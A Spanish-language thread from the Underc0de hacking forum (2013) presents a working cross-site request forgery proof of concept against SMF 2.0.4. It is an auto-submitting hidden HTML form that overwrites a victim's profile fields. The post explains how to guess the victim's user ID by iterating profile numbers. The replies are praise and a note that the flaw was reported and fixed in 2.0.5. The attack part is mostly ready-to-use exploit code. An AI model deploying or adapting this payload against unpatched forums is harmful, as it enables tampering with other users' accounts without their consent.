[CSRF] [SMF] Cambiar perfil

  • 5 Respuestas
  • 3552 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Réplica1

  • *
  • Underc0der
  • Mensajes: 35
  • Actividad:
    0%
  • Reputación 0
  • ... está historia se acabó.
    • Ver Perfil
    • @Pekador - Twitter

[CSRF] [SMF] Cambiar perfil

  • en: Agosto 26, 2013, 08:12:44 pm
Hoy os traigo un csrf en SMF.

Esto es importante, en la ultima linea:

Código: You are not allowed to view links. Register or Login
<input type="hidden" name="u" value="94">
En value, donde pone '94' ahí que poner el numero de perfil de la victima es tan fácil como ir a tu perfil y ir cambiando el ultimo numero asta que encuentres su perfil.


Código: (php) You are not allowed to view links. Register or Login
<script>
function envio_csrf()
{
document.csrf1.submit()
}
</script>
<form action="http://foro.com/foro/index.php?action=profile;area=forumprofile" method=post name="csrf1">
<input type="hidden" name="avatar_choice" value="none">
<input type="hidden" name="personal_text" value="P3K4D0R">
<input type="hidden" name="bday3" value="6666">
<input type="hidden" name="bday1" value="01">
<input type="hidden" name="bday2" value="12">
<input type="hidden" name="location" value="Mongolia">
<input type="hidden" name="msn" value="[email protected]">
<input type="hidden" name="usertitle" value="Pekador">
<input type="hidden" name="signature" value="Underc0de">
<input type="hidden" name="website_title" value="Underc0de">
<input type="hidden" name="website_url" value="Underc0de.org">
<input type="hidden" name="button_submit" value="Cambiar perfil">
<input type="hidden" name="u" value="94">
<body onload="envio_csrf()">

Reportado: Sí, y fixeado en todas las versiones.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5752
  • Actividad:
    100%
  • Country: ar
  • Reputación 42
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

Re:[CSRF] [SMF] Cambiar perfil

  • en: Agosto 26, 2013, 08:59:53 pm
Muy bueno!
A que versiones de SMF afecta?

Saludos!
ANTRAX


Desconectado Réplica1

  • *
  • Underc0der
  • Mensajes: 35
  • Actividad:
    0%
  • Reputación 0
  • ... está historia se acabó.
    • Ver Perfil
    • @Pekador - Twitter

Re:[CSRF] [SMF] Cambiar perfil

  • en: Agosto 26, 2013, 09:09:01 pm
You are not allowed to view links. Register or Login
Muy bueno!
A que versiones de SMF afecta?

Saludos!
ANTRAX

Afectava a la 2.0.4,  pero al reportarla la fixearon a las horas y con algunas fallas mas sacaron la 2.0.5.

Ahora para verificar al aceptar usa tu pass y user encryptados en md5 si no me equivoco y se tendria que tener el user y pass, y no tendria sentido ya que tendrias la cuenta y puedes hacerlo manualmente.

- Saludos;)
« Última modificación: Agosto 26, 2013, 09:13:17 pm por xPekador »

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5752
  • Actividad:
    100%
  • Country: ar
  • Reputación 42
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

Re:[CSRF] [SMF] Cambiar perfil

  • en: Agosto 26, 2013, 09:58:47 pm
Genial! muchas gracias! Siempre hay foros que no actualizan por que no estan muy bien mantenidos..!

Saludos!
ANTRAX


Desconectado ZanGetsu

  • *
  • Ex-Staff
  • *****
  • Mensajes: 324
  • Actividad:
    0%
  • Country: 00
  • Reputación 0
  • I ZanGetsu
  • Skype: thenicox
  • Twitter: black_zangetsu
    • Ver Perfil

Re:[CSRF] [SMF] Cambiar perfil

  • en: Agosto 26, 2013, 10:17:31 pm
esta muy bueno amigo, muchas gracias !

Desconectado Réplica1

  • *
  • Underc0der
  • Mensajes: 35
  • Actividad:
    0%
  • Reputación 0
  • ... está historia se acabó.
    • Ver Perfil
    • @Pekador - Twitter

Re:[CSRF] [SMF] Cambiar perfil

  • en: Agosto 26, 2013, 10:42:01 pm
Muchas gracias por comentar, mañana publicare todos los csrf de foros miarroba que tengo y son bastantes!

Saludos  ;)